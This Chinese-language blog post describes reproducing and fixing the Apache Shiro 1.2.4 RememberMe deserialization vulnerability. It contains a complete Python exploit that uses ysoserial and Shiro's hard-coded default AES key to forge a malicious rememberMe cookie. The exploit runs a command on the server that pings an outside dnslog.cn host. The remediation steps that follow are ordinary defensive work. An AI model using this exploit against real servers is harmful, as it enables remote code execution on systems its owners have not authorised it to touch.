Apache Shiro反序列化漏洞研究及解决方法

前言

一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄

我根据客户给出的安全厂商反馈的问题,总结如下:

1,Shiro反序列化漏洞

2,提到了dnslog.cn平台

了解Shiro反序列化漏洞

参考官方的JIRA文档记录,https://issues.apache.org/jira/browse/SHIRO-550

原因是Shiro的RememberMe出的问题

官方也给出了问题的描述

大概的意思就是:Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,继续看,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令,危害很大很大滴。

dnslog.cn的作用

经过查询,这个网站是一个用来检测带外流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。简单说,我自己的理解是一个安全人员的工具,收集一些测试过程中DNS查询、NS查询的日志信息,这里我们用来远程执行命令,比如ping XXX.dnslog.cn,然后再去dnslog.cn看看是否是通过服务ping到了他,如果有,证明远程执行了命令

漏洞模拟利用

大概知道了漏洞的原因和利用方式,接下来找到shiro的项目进行模拟攻击,攻击的过程大概就是:

  • 启动存在Shiro问题的项目工程,网上有现成的
  • 利用网上写好的Exp工具,漏洞从服务端执行ping命令,ping dnslog地址,看看其是否能收集到信息

搭建Shiro环境

下载有问题的Shiro项目,有人已经做好了,是一个docker image,https://github.com/Medicean/VulApps/tree/master/s/shiro/1,搭建完docker环境之后,由于需要解决问题,为了方便我把war拷贝到我本地机器,通过Tomcat运行。

准备测试工具

网上有很多写的现成的利用工具,基本都是Python的,我的环境是win10,已经有python3环境了,没有的自行安装一下,首先安装第三方库:

pip install requests

pip install Crypto

安装完了Crypto之后也会报错,找不到模块,上网搜了一下发现这个库停更了挺长时间了,改用pycryptodome,

pip install pycryptodome

库安装好之后,在晚上找一个EXP工具的代码,代码如下:

import os
import re
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES



JAR_FILE = 'ysoserial.jar'


def poc(url, rce_command):
    if '://' not in url:
        target = 'https://%s' % url if ':443' in url else 'http://%s' % url
    else:
        target = url
    try:
        payload = generator(rce_command, JAR_FILE)  # 生成payload
        print (payload)
        r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
        print (r.text)
    except Exception:
        pass
    return False


def generator(command, fp):
    if not os.path.exists(fp):
        raise Exception('jar file not found!')
    popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    poc('http://localhost:8080', 'ping d0nenv.dnslog.cn')

以上代码,需要知道几个问题

  • DES key的值,这就是上面所说硬编码的值,需要跟Shiro jar包里的Key对应好
  • 执行jar命令的参数CommonsCollections2,此时我们Shiro中的Common-Collections的版本是4.0,对应使用CommonsCollections2的参数
  • 还有就是代码最下方,Shiro项目的访问地址,和后面执行的命令,ping dnslog的命令。 

然后打开dnslog.cn,如下操作,点击Get SubDomain,对应写好上面的ping命令,一会要用到。

然后在VSCode里新建python文件,复制上面的代码,然后把代码里用到的jar包下载下来,重命名放到跟python代码同一级目录中

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

模拟测试

启动Shiro的工程,访问地址http://localhost:8080,此时代码是有问题的,运行EXP工具测试,刷新dnslog

如上图,命令已经执行了(有一条查询结果),说明漏洞确实存在的。

修复漏洞问题 

上述问题,其实只要解决了硬编码的DES Key值就可以了,找了一下网上说的解决办法,总结如下几种:

1,升级shiro,我这边情况项目比较老,升级依赖导致的问题解决起来比较麻烦,不采用此种方式

2,修改Key的编码,修改Shiro源代码AbstractRememberMeManager中的Key值,然后替换到jar包里,不公开

生成新的Key编码,可以用下面的方法:

import org.apache.shiro.codec.Base64;

import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import java.security.NoSuchAlgorithmException;

public class Test {
	public static void main(String[] args) {
		KeyGenerator keygen = null;
		try {
			keygen = KeyGenerator.getInstance("AES");
		} catch (NoSuchAlgorithmException e) {
			e.printStackTrace();
		}
		SecretKey deskey = keygen.generateKey();
		System.out.println(Base64.encodeToString(deskey.getEncoded()));
	}
}

3,生成随机编码,在Shiro配置文件中把SecurityManage加入rememberMeManager的配置,然后调用生成Key值得方法,随机生成,可参考文章(https://blog.csdn.net/weixin_38307489/article/details/104618667)的做法,建议才采用这种。

我采用的是方法2,这里说一下具体的做法,首先下载Shiro的源代码,根据你用的版本来下载:

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

下载后,找到源代码地址在core目录下找到AbstractRememberMeManager,用上面的代码main方法直接生成新的值,修改为新值,如下图

改完之后,找到Shiro源码的POM文件,执行mvn package -DskipTests打包,找到打好的class文件,替换到程序目录下的lib文件中。

然后启动服务,测试一下,问题解决 ~~ 

遇到的问题 

1, Maven build shiro jar包的时候,报了一个toolchain的问题,原因是我的Maven安装目录下,conf/toolchains.xml里没有配置,但是POM文件用到了,根据情况可以修改成:

  <toolchain>
    <type>jdk</type>
    <provides>
      <version>1.6</version>
      <vendor>sun</vendor>
    </provides>
    <configuration>
      <jdkHome>C:\\Program Files\\Java\\jdk1.6.0_45</jdkHome>
    </configuration>
  </toolchain>

2,关于Payload的概念

维基百科释义

在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。
信头与元数据,或称为开销数据,仅用于辅助数据传输。
在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。

 简单说,Payload就是对于接收者有用的数据。

参考资料: 

https://blog.csdn.net/weixin_38307489/article/details/104618667

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://issues.apache.org/jira/browse/SHIRO-550

发布了23 篇原创文章 · 获赞 74 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/Dothwinds/article/details/105244830